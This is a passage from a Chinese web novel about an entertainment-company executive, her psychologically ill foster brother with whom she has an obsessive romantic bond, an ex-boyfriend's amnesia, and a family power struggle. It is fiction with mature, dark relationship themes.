无论她多么唾弃邱岸山,基因也还是把他身上恶心的病、恶心的喜好输入了她的大脑血液。 “呵…哈哈……哈哈哈。”邱芜澜忍不住地笑了出来。 “姐姐?”季尧一顿,无措地停下,“不舒服么。” “舒服,很舒服……只是我突然发现,”邱芜澜穿进他的发丝,“父亲该有多羡慕我呵。” 他和母亲之间没有半点兄妹回忆,有的只是一声谁都能喊的“哥哥”而已,泡沫般虚假又脆弱。 而她——“阿尧,我的阿尧。”她环抱住季尧的头颈,让他深埋入自己胸前,“我当然明白,你是最爱我的。” 而她,她和季尧,却是真正的姐弟。 他的学识、他的审美、他的能力,他的一切都由她亲手塑造而成。 邱芜澜陡然反应过来,为什么邱岸山不像哥哥弟弟们那样仇视季尧、为什么他愿意花钱供着一个和自己无关的男孩吃住学习—— 他是在羡慕她啊,那他一辈子可望而不可得的东西。 这是不道德、不正确的情感。 但邱芜澜有了一个无懈可击的借口,能合理化自己另类偏执的私欲—— 季尧病了,他需要她的爱,否则他会死去。 “阿尧,你知道么。”她锁死了季尧的头颈,在他耳畔低语,“母亲被父亲软禁了一辈子,可到死都是幸福快乐的。” 锁住季尧的双臂足够用力,却依旧填不满他的欲壑。 他在狭窄的缝隙里偏首,艰难地舔吻邱芜澜下颚脖颈,极尽所能与她进一步贴近,恨不能再紧密一些。 “这么多年,我一直惋惜她的不幸。”邱芜澜自言自语着,“现在,我却突然想起了她说的话来。” 季尧衔着邱芜澜的锁骨,“夫人说了什么?” “她让我收回傲慢不自知的怜悯,为她的婚姻自豪骄傲。” 邱芜澜没有收回。 她始终傲慢地怜悯着邱夫人,不允许自己的伴侣走邱锦走过的道路。 邱芜澜不喜欢父亲的做法,为了证明父亲的错误,便强硬地否定了母亲的人生,不管不顾地为她盖上悲哀的定论。 她坚信母亲是可悲的,却为了合理化自己对季尧的感情,又把母亲的这句话翻出来,以图证明季尧会变得幸福。 “华君润说的没错……我太傲慢了。” 季尧爱恋的亲昵停了下来,他透过邱芜澜的绞缠,望向她哀然的眼眸。 “傲慢的是他。” “七年前,他背叛秋叶那刻起,姐姐就可以用违约金让他寸步难行。只要姐姐动心起念,华君润就不会出现在任何一个镜头里。”季尧眉间浮现阴鸷,“他的一切都是姐姐施舍的,有什么资格指责姐姐傲慢。” 不知感恩的公狗。 季尧眼尾嫣红,“姐姐太善良,太心软了。他这样侮辱你,你还把他当□□情的标准。” 善良、心软,只有季尧会这样形容邱芜澜。 复杂的心情倏忽间荡然无存,她忍俊不禁,“真好听。” “但留在身边的人一味顺着我也不行,会影响我的判断力。” 季尧不满,“我说的都是实话!华君润才不是忠言逆耳,他是PUA。” “再说,傲慢有什么关系,姐姐有资本傲慢。” “资本是相对的,我的资本远不到可以随心所欲傲慢的地步,他的提醒没有错。” “他自己多努力接点单子,提高姐姐的资本不就行了么。” 邱芜澜放松了胳膊的力度,埋在季尧颈侧闷笑。 “好高兴。”她抬起腰肢,清冷的眸中盛满欣悦,“阿尧,为什么我这么喜欢你。” 病态的季尧、可爱的季尧,他的每一面都令她愉悦不已。 季尧吻上邱芜澜,“因为我是姐姐打磨最久的作品。” 邱芜澜勾着他的背,恍然呢喃,“要去医院啊。阿尧,乖乖治病。” 他是如此符合她的心意,哪怕生了病也无损她对他的喜爱。 她拿了分离焦虑症当借口,但季尧的精神状态并不能就这样轻巧地玩笑掀过。 如季尧所言,她喜欢他,因为他是她最完美的作品,而非是这病态的感情。 这份病态因为是季尧、是她最优秀的弟弟,她才兴奋欢喜。 起伏间,邱芜澜披散的头发晃动凌乱,几丝长发挂在她唇角、粘上她眼睫。 在邱芜澜伸手之前,季尧拢住了她的发,褪下腕上的发圈,认真专注地替她收束起满头青丝。 最终,季尧的手腕上没有留下任何东西,无论是昂贵的机械表,还是多功能的智能表,亦或者是奢侈品的腕带手链。 他最后佩戴的是一条浸了兰草清气的发圈。 …… “嗯,你说。” 邱芜澜从床上起身,接听电话的同时瞥向窗户。 纱帘外天色已然大亮,她转身坐去床沿,还没找到拖鞋站起来,后腰就被光洁紧实的双臂抱住。 毛茸茸的脑袋磨蹭着邱芜澜的腰窝,她瞟见季尧窝在柔软的被子里,迷迷糊糊尚未清醒。 不等邱芜澜为他惺忪困倦的模样流露温情,眉间便微微蹙起。 “确定么?”她问。 打瞌睡的季尧在这声异样的语调后双目清明。 他望向邱芜澜,观察着她的神态表情。 “……我知道了,我现在过去。”邱芜澜挂了电话,她的姿态令季尧莫名有些不安。 “姐姐,出什么事了?” 邱芜澜回眸,反手抚摸上少年美丽的面容。 她若有所思地低语,“华君润,失忆了。” 第104章 第一百零四章 华君润助理的这通电话打得不是很凑巧, 邱芜澜刚为季尧约了红医生,准备下一阶段治疗。 “没关系的姐姐,”季尧为她披上外套, “我打车过去就行。” “这不是骨折,能自己一个人找医生换药。”邱芜澜侧身, “在家等我,我去了解一下情况。” 季尧目送她离开。 大门关上后, 他脸上的笑容依旧持续着,固定焊死般渗出两分空洞。 十分钟、二十分钟……他始终维持着邱芜澜离开时的表情姿态,站在原地寸步未挪, 和这座别墅里所有家具摆设一样, 安静地待在主人最后使用过的位置上。 好歹是看望病人, 邱芜澜在小区花店里买了一束百合。 从花店到华君润家的这段路上, 邱芜澜想起了一些往事。 她交往过的所有男朋友里, 易蒲是最喜欢花的。 他们刚刚交往时, 易蒲住在城中村的老式居民楼里。 老房子的阳台和监狱很像, 不锈钢栏杆把窗外切割成一条条狭窄的缝。 和其他人家不同,易蒲将那个老旧的棚窗栽满了绿植鲜花,成了空中花园般的美景。 后来他住进了平层, 有了露台;又住进了别墅, 有了花园。 他每到一处, 都将四周种满花卉,可邱芜澜印象最深的, 始终是那个老式居民楼的阳台, 不论是清晨、晌午还是黄昏傍晚,那个挂满盆栽的阳台都散发着奇特的美感。 那是邱芜澜不曾领略过的美,生机盎然。 交往的时候, 他时常会送她自己种的花,邱芜澜不白收那些花,她会回以稀有的花种、绮丽的植株,以及名表豪车各类资源。 易蒲更乐于见到后者。 邱芜澜觉得很有趣,有一次,她同时将一枚黑钻男戒和一株大唐凤羽摆在了易蒲面前。 这两件礼物价格同等,差额不超过两万。 易蒲的第一眼落在了戒指上。 华君润也有栽种的爱好——他只种瓜果蔬菜,从不养花种树。 和华君润复合时,正是《红丝鸳》拍摄期间,与易蒲往来频繁,这让邱芜澜回想起了当年那个有趣的实验。 邱芜澜没有用物质去试探华君润,这类实验早在他们初恋时就腻味了。 她带去了一束白玫瑰和一盆白草莓。 邱芜澜眼见,华君润抱起了那束玫瑰。 他的表情是难以形容的缱绻,如水中银月,皎皎生辉。 “我以为你会更喜欢草莓的。”邱芜澜不解,“你只种食物。” “不太一样。”华君润转身找了花瓶蓄了水,将玫瑰减枝插.入。 他背对着她,她都能感受到他的柔情欢欣。 “我当然也喜欢草莓,任何充满善意的礼物我都会珍惜,但是玫瑰的指向性一目了然,寓意更加狭窄。” 他说的很对。 什么人、什么场景送什么花有约定俗成的规矩,今天这样的日子里,邱芜澜能带去任何一种花,唯独不能带去玫瑰。 “不好意思,有些事情我记不太清了。” 邱芜澜看着眼前略显局促的男人,他的眼眸澄澈纯净,夹带羞赧局促,“请问……您就是我的女朋友么。” “是的,”邱芜澜将白色的百合放去桌上,“前不久我们刚刚分手。” “啊…”那张脸上的羞喜戛然截止,变成了尴尬。 邱芜澜看见了摆在客厅的电子相册。 轮换更替的相册中,一半是她的照片,华君润的手机壁纸也还是她的侧脸。 即便他的记忆被清空,目光所及也无处不是她的身影,不难得出他们是恋人的结论。 “怎么回事。”绕过窘迫尴尬、理不清现状的华君润,邱芜澜问向这屋里的明白人,“什么时候失忆的?” “住院治疗第四天。都判定好转了,结果一觉起来突然失忆,出道后的事情全忘了。”助理欲哭无泪,“医生排除药物因素,大概率是焦虑压力过重导致的。” “本来想再观察观察,眼瞅着发布会就要到了,还是没有恢复的迹象,我觉得还是先让您知道情况比较好。” “你早该告诉我了。”邱芜澜问,“多少人知道?” “没有,”助理连忙摇头,“除我以外,只有医生。” “做的不错,华君润失忆的事暂时不要泄露。” 失忆并不是什么坏事,相反,还能收割一波关注度,可问题出在了华君润的病上。 一旦爆出失忆,就会有人连根挖出华君润患有焦虑症的事来。 虽然邱芜澜一早做了准备,让华君润在签约前就开好了检测报告,证明他的病并非秋叶娱乐所致;但他毕竟是在签约秋叶期间失忆的,公司无论如何摘不干净。 最近公关的事情太多了,这个节骨眼上,不能再添麻烦。 “这个月的活儿先停了,下个月要是还没有恢复,广告单可以留一两个,综艺、拍摄能推就推,推不了的让乔尹救个场。”邱芜澜很快开始安排后续,“你去准备一下《红丝鸳》的台本,和记者们打好招呼,下周的发布会务必不能露馅。” “好的邱总。” 邱芜澜扫向眼巴巴望着她的华君润,“以防万一,整理下表演系的网课,让他开始看起来。” “好。”助理安慰道,“您也别太担心,医生说心因性失忆短则几周,长则几个月,会恢复的。” “希望吧。”邱芜澜看了眼时间,“这段时间辛苦你照顾他了,我请了男佣过来,午饭前会到,你和他交接后就回去休息,不用再贴身守着了。” “谢谢您。”助理放了心,他欲送邱芜澜出去,一直坐着安静听他们说话的华君润忽然开口,“那个……” “邱芜澜。”邱芜澜了然,介绍自己,“你的上级。” 华君润愣了下,被自己的前女友是自己上司这一事实所惊。 “邱总,”他有些无措地跟随了助理的叫法,“您现在就要回去么。” 邱芜澜望着他,眼神分明在问:还有什么事。 “方便的话,能不能和我单独聊聊?” 邱芜澜看向助理,对方心领神会,“那我先去超市给华老师买点东西。” 他出了门,华君润起身,腼腆而生涩地对邱芜澜道,“我去给你倒杯水,先坐吧。” 他抬步往前走去,在交叉口处顿足,左右张望了番,才拐去了右边。 邱芜澜望着他的背影,在座位上落座。 华君润回来时拿着一只玻璃杯和一只玻璃花瓶。 他将玻璃杯放在邱芜澜面前,将花瓶置于桌上,抱起了她带来的那束百合,冲她展露微笑,“谢谢你的花。” 邱芜澜没有回答。他拆开了包装,将白色的百合一支支插.进瓶中。 “没想到我住的房子这么大,”华君润一边整理花束,一边随口找了个话题破冰,“这么大的房子,都没什么花草装饰,这束花来得正是时候。” 邱芜澜看着他随手拿出的玻璃瓶,和她兴起送他白玫瑰那次一样,他转个身的工夫就找到了花瓶。 那次的瓶子和这次的还不一样。 “没有花草绿植,却有很多花瓶。”她说。 “是啊。”华君润很高兴她愿意和他搭话,“我也没想到橱柜里居然放了好几只花瓶,长得短的、瓷器铁艺的都有。家里原来有花吗?” “我们在一起的时间不长,我不清楚。”邱芜澜道。 他收拾了包装纸,把那束百合摆去了桌子中央。 “放在这里怎么样?”他问邱芜澜,“其实电视机柜和鞋柜上也空着,或者放去书房。” 邱芜澜微笑,“你的家,你决定就好。” 华君润试图挽回气氛,“你呢,你喜欢花么。” 大片浓烈的蔷薇自邱芜澜眼前闪过,在那华丽到压抑的香气中,她眼角余光里闪烁着一团小小的花球。 那是个佩戴着玫瑰花冠的外国小姑娘,胸前挂着花篮,用绵软的童音兜售鲜花。 那团小小的彩色玫瑰驱散了腐旧压抑的蔷薇,如一阵送来的清风,刷新了邱芜澜对花的记忆。 邱芜澜答道,“以前我认为养花是件费神的辛苦事,不过最近体会到了一点乐趣。” 她说完,发现男人紧盯着她,他的羞涩间,充满了年轻男人特有的期冀,像极了二十出头刚刚恋爱的那个华君润。 “看起来,我们之间的关系还可以。” “当然,”邱芜澜颔首,“你我都不是为了另一半放弃自我的类型。没了爱情,你我们之间也有很多共同话题、共同利益。” “可我却把你忘了。”华君润歉意道,“抱歉,助理和我说了很多,但全都是工作上的事,我想知道私下里我是个怎么样的人,我们是怎么分开、我又是怎么进的医院。方便的话,你能告诉我么?” “你是个优秀、善良、努力又纯粹的人。” 邱芜澜敛眸,目光从空荡的电视机柜、鞋柜、书房掠过,最后停留在桌子中央的百合花瓶上,“也是难得一见的好男人,全心全意地爱着我,为我付出了许多。” 华君润微愣,“这真是好高的评价。” “不过,我们之间的三观差异太大,最终还是分开了。”轻柔的语调一转,她草草结束了缅怀,“你之前一直患有心理疾病,分手时被我刺激,所以进了医院。” 这便是她留在这里、为华君润解答疑惑的原因。 “三观差异?”华君润好奇,“最后一次,我们是因为什么而争吵的?” “你认为我是个为了利益抛弃感情的人渣。” 华君润失笑,“我说得这么难听么。” 邱芜澜挽发,“是我的总结。” “我是你手下的艺人,”华君润思索,“你是为了钱,让我接了三无产品的广告?还是逼我去给有钱的大老板陪酒了?” “都不是,是你看不惯我对家人的处理方式。” “是和你关系很好的家人么。” 邱芜澜默认。 华君润眸光微移,“我不清楚内情,也不记得自己当时的想法了,但我猜测……我不是在生气,而是担心有朝一日自己也会被你抛弃。” “你确实是这样说的。” “那你会么?” 同样的问题,以不同的语调、不同的表情呈现出来后,有了不同的感受。 邱芜澜轻笑,“我们是伴侣时,我没有回答这个问题,以我们目前的关系,就更没有必要回答了。” 华君润搁在膝盖上的五指微收。 “就当是采访,不行么。” “答案重要么。”邱芜澜凝视他,“重要的不是从我口中说出来的话,而是问出这句话的人,已经预设了我的回答。” 华君润微微睁眸。 “你知道么,那天我真的很累,也很难受。”邱芜澜开口,她不在乎眼前的人是否还有记忆,兀自叙述,“我最敬重的兄长,为了一个女明星当众羞辱我;我最器重的弟弟,在我最重视的项目上预谋自杀,抢救之后,又被诊断出了重病。” “我连轴转了五天,公安局、文化局、工程安全局、应急管理局都找了上来。舆论崩塌,股市动荡,上级领导和股东们催问我怎么回事,要我拿出解决方案;下级员工和艺人们又累又担心。途中,我的这具身体还发作了老毛病。” 她说:“那天,我其实很想吃点甜品。” “但出于对我身体健康的考虑,你准备了一盅清汤狮子头。” “你很爱我。”邱芜澜道,“无关对错,我们就是这样分手的。从结果而言,是我对不起你。” “君润,抱歉。” 快到和红医生约定好的时间,她不能再多停留了。 “就先到这里吧。”她起身,“我会一直在公司等你。” 温馨的原木风留在了邱芜澜身后,她跨出大门,听见了似曾相识的呜咽。 和上一次相比,微若蚊吟。 离开之际,她瞥见空荡的桌子上醒目的花瓶。 高的矮的、瓷器铁艺,电视柜上、鞋柜上、书房里……这里为她留足了容器。 上一次离开时,她没有精力去思考感知; 这一次,她听见了华君润痛苦的呻吟—— 「玫瑰!她为我拾起过一支玫瑰!」 那天晚上,她从满地残花里弯腰拾起了唯一一朵保存完好的玫瑰。 她是唯一为傅医生献花的人,哪怕他是个荒诞残忍的杀人魔,她也为他捡起了玫瑰。 那盅清汤狮子头实在可惜,即便它不是邱芜澜当下最想吃的东西,在她饿的时候,也愿意吃完它。 邱芜澜从小就没有挑选吃穿的权力,她本不会有强烈地想要吃某种东西的欲望。那天是很不寻常的一天,她冒出了一股强烈的吃甜食的想法。 是华君润教会了她表达对食物的喜恶。 清汤狮子头的滋味从邱芜澜口中淡去,随着她离开华君润的住处、朝自己的别墅走近,每走一步,口中就泛起一点榛奶淡淡的甜味。 醇厚的榛果一丝一缕地覆盖了清淡的汤,当邱芜澜站在自家庭院门口时,从口齿到呼吸,已全然都是榛奶的香甜。 她眉眼舒展,正要解锁,倏地听见一声哀然的悲鸣。 “不要、不要…不要走姐姐,求你……” 邱芜澜脚步一顿,站在门前,没有立刻进去。 她迟疑了两息,选择先调出了为季尧安装的监控。 三十几个监控中,邱芜澜找到了季尧所在的画面。 身后秋阳灿烂,她却被寒意裹袭。 她美丽的弟弟跪在地上痛哭涕零,伸手抓着虚无的某处,仰面哭泣。 “不要丢下我,姐姐,”他的凄惨、绝望溢于言表,“我会乖乖待在家里,一辈子不出现在哥哥们面前,让他们放心。” 疏忽间,他又激动异常,高声立志:“我可以、我可以的姐姐!我会改善自己在董事们眼中的形象,绝不拖累公司。奕星的合作让我去谈,我会让你满意的!” 亢奋的神色一僵,如潮水骤然消退,又忽然归于黪黩。 他在纵横的泪中挤出一抹卑微、讨好的笑来,“我当然认得清自己的身份……像我这样连专业考试都过不了、砸了资源都火不起来的废物,怎么抢夺得了哥哥们的资源呢。” 几句话间,季尧的表情再度扭曲,潸潸流泪,陷入莫大的痛苦之中。 “不、不是的姐姐,我没有一辈子想当个保姆……我可以、让我去海选现场,姐姐…我能再带回来一个华君润……姐姐,不要对阿尧失望……” 那具美丽的躯体被两股截然相反的力量拉扯、撕碎。 他深陷悲惨之中,混乱到了崩溃。 季尧自杀的时候,邱芜澜并不在现场,这是她第一次亲眼目睹季尧的病。 如此惨烈,如此震撼。 邱芜澜盯着监控里痴癫哭笑的少年,他的痛苦触目惊心,宛如一副名为《病》的艺术品。 美得她心脏抽痛,难以呼吸。 她解锁入门,疾步朝跪在书房忏悔的季尧走去。 脚步声没能将季尧拉回现实,他依旧对着虚无的某处苦苦哀求,流着泪呼唤姐姐。 邱芜澜张口,她想要叫他、想把他从不幸的幻觉中带离,可她无法呼吸,窒息令她不能言语,无论如何呐喊都发不出一点声音。 躁。 像是一层屏幕隔在了他们之间。 他在屏幕里表演着最深切的惨痛,她在屏幕外知晓剧情,却无法将答案传递给屏幕中的角色。 躁、躁。 邱芜澜大喊季尧的名字,季尧毫无反应,继续着悲恸的独角戏。 她一时间不能确定,到底是季尧病了听不见声音;还是她病了无法发出声音。 躁、躁躁躁! 躁怒、躁急、躁烦、躁闷、燥热、躁动——躁欲 她冲了进去,卯头撞碎了那层屏幕,一把拽住季尧的头发,将他砸向地面。 那如糖似蜜的眼睛终于不再看向虚无,而是倒映出邱芜澜的身影。 “啊…啊……”邱芜澜颤栗着低吟。 她得以呼吸,得以发声,得以享用因她而支离破碎、痛苦崩坏的感情。 在这无与伦比、烫慰灵魂的美妙面前,那盅清汤再是健康,也显得寡淡无味。 她的阿尧美味至极,邱芜澜爽得头皮麻烦,五感都被季尧绝美的香味熏得麻痹。 大脑一片空白后,诡异的幻想破碎,现实情景出现在季尧眼前。 他在虚幻和现实交界处懵憕惝恍,强烈的感官刺激包裹了他,令他放弃了思考眼前到底是真实还是梦境。 “姐姐、姐姐……”他不在乎真与假,只要能看见邱芜澜,便欢喜明媚,露出嫣然笑意,“你回来了,阿尧好想你。” 第105章 第一百零五章 “二十年前我开始为董事长治疗, 之后接手了你们兄妹。” “您哥哥的病情是最严重,他告诉我,自己偶尔会听见一些噪音, 那些噪音促使他使用暴力。” 红医生看着手下的诊断记录,“他在清醒之后, 能意识到那些只是幻觉,而非现实。但现在的季尧, 不仅出现了幻听,还出现了相当具象的幻视、幻嗅。更麻烦的是,他感知系统已经崩塌, 分辨不了现实和幻想。” 邱芜澜蜷缩起指尖, 遮掩住发抖。 在季尧被封藏能力的几年里, 她最大的安慰便是季尧健康的身心。 近亲繁殖如同一种诅咒, 邱家直系即便出生时是健康的, 未来罹患心理疾病的概率也远超常人。 季尧虽然不是邱家的孩子, 可他从小生长在邱家的环境里。 健康的季尧, 如石缝中开出的野花,不论品种,单是这朵花能够顺利长大就足以令邱芜澜惊喜。 他是她亲手栽培的, 贫瘠荒野上的唯一希望。 可现在他们告诉她, 这些全都是她的虚妄。 季尧不是希望, 他才是这片荒野最干枯的死草——由她一手铸就的死草。 悲伤、愤怒、彷徨、愧疚……她该有很多负面情绪,可邱芜澜在伤痛之中回想起了自己冲进别墅, 跨坐在季尧身上的感受。 他为她龟缩蛰伏, 他为她奔波吠咬; 他是阳光开朗的生花,他是干瘪腐烂的死草。 那一刻,真是灵魂颤栗的极乐。 “冷静, 芜澜,冷静。” 温和平静的声音连同她自己急促的呼吸一起在心室里回荡。 邱芜澜尝到了长跑般的血腥味,她对红医生恳求,“请你治好他。” “我不能百分百保证。”红医生客观道,“而且比起我,你的参与更加重要。” “我能做什么。” 她望着她,眼中的哀切令红医生惊讶,她没有想到季尧会比邱泽安邱泽然更加重要。 “还是我说过的两件事,”她嘱咐邱芜澜,“转移注意、树立自信心。” 让季尧参与工作变得迫在眉睫。 她必须尽快打开他实现自我价值的通道。 这个周末,邱泽安独立了出来,脱离助理岗,正式成为分公司总经理、秋叶娱乐的副总。 空出来的助理办公室也有了新的主人。 周一上午,整个秋叶娱乐的群聊都沸腾了一阵,新助理的到来,让华君润销假复工的消息都无人在乎了。 “我没看错吧,邱总身后的是谁?” “不是吧不是吧,怎么回事啊!” “不是说他报复邱总,被我们封杀了吗。” “只是作为艺人被封杀了吧,艺人室那边确实没有季尧的铭牌了。” “都这样了,邱总还要把他带在身边啊?” “总归是亲戚,打断骨头连着筋。” “得了吧,我看早会上邱特助的眼神都可以杀人了,他们也是亲戚啊。” “不懂有钱人的想法。” “和有没有钱没关系,我表姐也是这样,被弟弟吸血,别人怎么劝都不听,依旧每个月省吃俭用供弟弟挥霍。” “邱总不像是这种圣母啊。” 短短半个小时,整栋大楼都得到了消息—— 季尧回来了。 这个差点毁了秋叶集团口碑、害全公司加班的白眼狼不仅回来了,而且换了一身西装革履的皮,愈发光鲜亮丽。 他不仅没有被驱逐,还从一个小偶像一跃成为管理层,站到了邱芜澜身边。 “姐姐!”邱泽安推开办公室门的瞬间,看见了最不愿意看见的情形。 一直以来穿着休闲服混日子的季尧,套上了冷色的英伦西装,头发后梳,拿着文件夹站在邱芜澜桌前。 他转头看向他,冲他扬起符合这套正装的笑容,而非以往那廉价的甜笑。 他说:“泽安哥,早。” 邱泽安大步走向办公桌,双拳紧握。 “姐姐,这是什么意思。” “你待在分公司的时间会越来越多,简的年纪也越来越大,”邱芜澜扫过季尧,“我需要个新助理。” “秘书处那么多人,每年还有那么多高校生往我们手上投简历。”和邱芜澜同款银丝镜片后的凤眸隐忍含怒,“什么时候轮得到一个声名狼藉的草包、一个情妇的儿子接替我了!” 邱芜澜眸色微沉。 从前她会为了照顾亲弟弟的心情委屈季尧,可现在,季尧生了病。 她摘下了无度数的防蓝光眼镜,“阿尧,你先出去。” 季尧看了眼邱泽安,“好的姐姐。” “等一下。” 想起红医生的医嘱,邱芜澜又叫住了他。 季尧回身,她朝他抬手。 几乎是刻入本能的反应,少年俯身弯腰,脸上流露出被抚摸的愉悦。 她触上他的脸颊,在睫毛浓密的眼尾印下一吻,“二十五分钟后,带着茶回来,我听接下来的报告。” 她给了他一个清晰的时限,以免季尧陷在不见边际的等待中,熬得焦虑。 被邱芜澜吻过的眼睛睁大了两分,季尧一顿,旋即绽出盛丽的璨笑。 那浅色的瞳孔转向了办公桌前的愣怔的邱泽安,他低下头,亲吻邱芜澜的发顶,“好的,姐姐。” 自邱泽安身旁走过,季尧的余光里是男人暴跳的青筋。 目光交错间,他体会到了邱泽安狂躁的杀意。 无论这杀意多么汹涌,都抵不过厚实的办公室门。 大门合上,一切归于寂静。 “姐、姐姐……”邱泽安声音控制不住地发颤。 “你我都知道季尧不是草包。”邱芜澜淡淡道,“他也不是情妇的儿子——父亲身边已经没有叫做季葶的情妇了。” “他那个样子和季葶有什么区别!”邱泽安低吼,“当妈的勾引父亲,当儿子的还在读书就恬不知耻地勾引姐姐!” 他倏地反应过来,不可置信:“是因为…因为这样,姐姐才给了他这个位置?” “闭嘴。” 这一声不重,轻得近乎叹息,却令暴跳如雷的邱泽安骤然失声。 “我告诉过你,你的员工、你的合作方都在看着你,所以,注意自己的言行。” 邱泽安忍无可忍,“是姐姐该注意!你怎么能和季尧这种…” “这么多年来,所有人都知道,我如信徒一般追随着哥哥。”激动的语句被邱芜澜打断,“可不过是一场会议,哥哥的敌人们便蠢蠢欲动地聚到了我身边,支持我‘独立’。” “现在你怒气冲冲地闯入我办公室,大呼小叫地和我争吵,一会儿又要暴跳如雷地走出去——” 邱芜澜抬眸,冷淡地看向邱泽安,“泽安,你也想从我身边‘独立’么。” 邱泽安面色一白,嗫嚅着嘴唇,“不、不姐姐、不是这样…” “以季尧的能力,做个特助,有什么不可以。” “可他、他刚为公司带来那么大的危机,”邱泽安别过头,心里也知道邱芜澜说的是实话,“现在他这么高调地参与公司事务,董事和员工们会怎么想,要是传出去……” “我已经是个不得不向婚姻低头的可怜女人了,再多一个扶弟魔的人设,未尝不可以。”邱芜澜浑然不在意,“比起感情事业双丰收的女强人,人前叱咤风云,人后家庭悲惨的女领导,才更符合大众心意。” 邱泽安再无话可辩。 “我不明白,姐姐为什么突然启用季尧。” “因为,他生了病。” “什么?” 邱芜澜沉默片刻,起身离开了办公椅。 她牵起邱泽安的手,引着他去了沙发坐下。 “……姐姐。”邱泽安微愕,他被邱芜澜抱在了身前,搂住了后背、头颈。 这个姿势融化了他满身戾气,沉浸在熟悉的怀抱中,邱泽安柔软了下来。 每一次异食症发作,姐姐都会这样抱着他,陪着他直至冷静。 就连不可抗力的病痛都能在这个怀抱里平息,遑论是愤懑、烦躁这些小小的波澜情绪。 “泽安,我这样抱过你和泽然很多次。”在邱泽安全身心放松之际,邱芜澜抵着他的额角轻声开口,“可我从来没有这样抱过季尧。” 嗅着淡雅的兰草香气,邱泽安的语气退去激动,暴露委屈,“他凭什么被姐姐抱。” “我不想你误会我,所以现在,我要告诉你原因。” 邱芜澜半垂眼睑,轻抚他的脊背后颈,“告诉你为什么我突然放逐季尧,又为什么突然启用他。” “你不需要理解季尧,也不需要理解我。告诉你这些,只是一种表态——希望你知道,我对你毫无保留,因为我爱你。” 她手指所过之处麻痒酥懒,那条脊椎在邱芜澜手下失去了所有反抗的力气。 邱泽安无比后悔,有错的是季尧,他为什么要冲着自己的姐姐发脾气。 不需要邱芜澜讲述原因,当她抱着他,在他耳畔说出“我爱你”时,邱泽安便全然谅解了她。 邱泽安深信基因的影响力,邱家的后代不能挣脱祖辈们遗传下来的心病,情妇的儿子又如何能够摆脱母亲的放荡卑贱。 姐姐一定有她的苦衷,一切错都在于那个无耻的情妇之子。 二十五分钟后,办公室的门从内打开。 邱泽安整了整领带,冷眼乜向守在门旁的季尧。 他端着色泽柔雅的木芙蓉茶,准点准时地等候在外。 听完邱芜澜的讲述,邱泽安对季尧的感观没有丝毫改变。 世上罹患重病的人何止千万,他没有那么富余的同情心一个个怜悯过来,尤其是季尧这样他本就恨不得消失的人。 “都说父母是人生第一位老师。母亲缠绵病榻的时候,你妈勾引了父亲,她很成功,是唯一一个进入我们家的女人。”邱泽安沉声蔑语,“有空多去看看她,免得忘记她的下场。” 季尧回以乖巧的笑脸,他自邱泽安离开后踏入办公室,一眼看见了倚在沙发上的邱芜澜。 她的衣服多了点挤压而成的褶皱,季尧想起邱泽安出门时拉扯领带的动作。 茶递到了邱芜澜手边,他单膝跪下,为她整理衣襟。 邱芜澜抿下顺滑的木芙蓉香气,将杯子搁去茶几,环抱住了季尧。 花茶从两人唇角溢出了些许,邱泽安导致的褶皱刚刚抚平,就被季尧压出更大的凌乱。 除非发病,否则邱芜澜不会在公司与人亲昵。 这个吻并非她的本愿,只是她刚刚承接了邱泽安的撒娇,下一刻季尧便恭顺体贴地跪在了她身前,一言不发地为她整理衣襟。 鲜明的对比让邱芜澜看见了过去。 每一次邱泽安邱泽然发作,她抱着他们、抚慰他们时,季尧在想什么? 他在羡慕么,在渴望、在自卑么? 邱芜澜猜测,他是在疑惑。 他坚信自己没有病,但痛感是客观的,最初感到头痛时,他一定向外界求助过——是怨恨他的季葶、是鄙夷他的管家女仆,还是对他不屑一顾的家庭医生? 不管是谁,他们一定是忽视了他,并用冷漠的回应间接迫使季尧忽视自己。 幼小的季尧站在阴影的夹缝里,他看着邱芜澜抱着哭闹不止的弟弟,有点羡慕,但更多的是茫然。 他根本不理解那个拥抱的含义。 透过那副场景,邱芜澜看见了夹缝中的小季尧。 她想补偿他,可迟到了十数年,一个拥抱已经抵不上漫长时光里所产生的利息。 她用拥抱邱泽安的姿势紧紧抱住季尧,含着花香与他深吻。 眼前少年浓密的眼睫轻颤,如同蝴蝶振翅抖落一夜露水。 季尧吞咽着木芙蓉的汁液。口鼻、食管、心肺,他被木芙蓉和兰草的清香侵染透骨。 他轻蹭着邱芜澜,覆盖了邱泽安残留的气息。 “姐姐……” “嗯。” 姐姐太善良了。 这纯粹的善意如温泉洗髓,让季尧经脉温暖、心脏饱胀。 他挖掘到了邱芜澜身上不谙世事的那一面,单纯又天真——他善良圣洁的姐姐竟然认为所有人都会对病人包容礼让,她以为只要邱泽安知道了季尧生了病,就会对他客气一点。 如果制药公司在做市场指针时,怀抱了半分这种善意,那药价就不会是现在这样。 “晚上一起吃饭,”邱芜澜抚过季尧的眉眼,“和几个部门领导、集团股东见一面。” 指下的眼睛闪闪发亮,被他眼中的光芒印染,邱芜澜不觉噙了温存,“这么高兴?” “嗯!”季尧贴着邱芜澜的面颊,“高兴。我和泽安哥一样了。” 邱泽安第一天进入公司,迎接他的便是一场隆重的欢迎会。 借由这场会议,邱芜澜让所有主管级别以上的员工知道了邱泽安是谁。 季尧的欢迎会没有邱泽安那时的规模大,却更加意味深长。 穿上正装的季尧成为了邱芜澜和邱承澜关系间的一个标志性的节点、一个里程碑。 市场、公关、营销、财务、人事……所有部门都有人到场,但绝大多数部门没有到齐。 在场的职级参差不齐,除了公司管理层、在家的艺人们,集团内部也来了不少。 来宾名单耐人寻味,季尧感受到一股空前绝后的热烈氛围。 被邱芜澜硬捧上位的季尧是好是坏、会为公司带来利益还是损失,并不重要,重要的是,季尧是邱承澜向来反对的一个符号。 这场欢迎会如同一张筛网,筛出了邱芜澜和邱承澜的势力阵营。 金字塔顶端的资本家和精英们嗅到了血腥味,邀请函递到了他们手里,去与不去将决定他们未来的发展方向。 “季尧,恭喜你。” 清丽的女声由远及近,季尧转头,看见杨芸冲他举杯道喜。 ASHS中,杨芸是存在感最低的一位,从来不参加抱团、站队。 季尧想了起来,她拿过姐姐的一对红绿柱石耳坠。 “谢谢。”他扬起笑脸,“杨芸姐今天不是有通告么。” 女人目光复杂地巡望过全场,最后停留在前方的邱芜澜身上。 她轻声开口,“这个场合,我不能不来呀。” 六位ASHS来了五位,乔尹一早入席,大病初愈的华君润也到了场,就连忙得脚不沾地的季语薇都要抽空来露个面。 这是邱芜澜自立帅旗的宴会。 追随她的部下、她敌人的敌人们由此欢聚一堂。 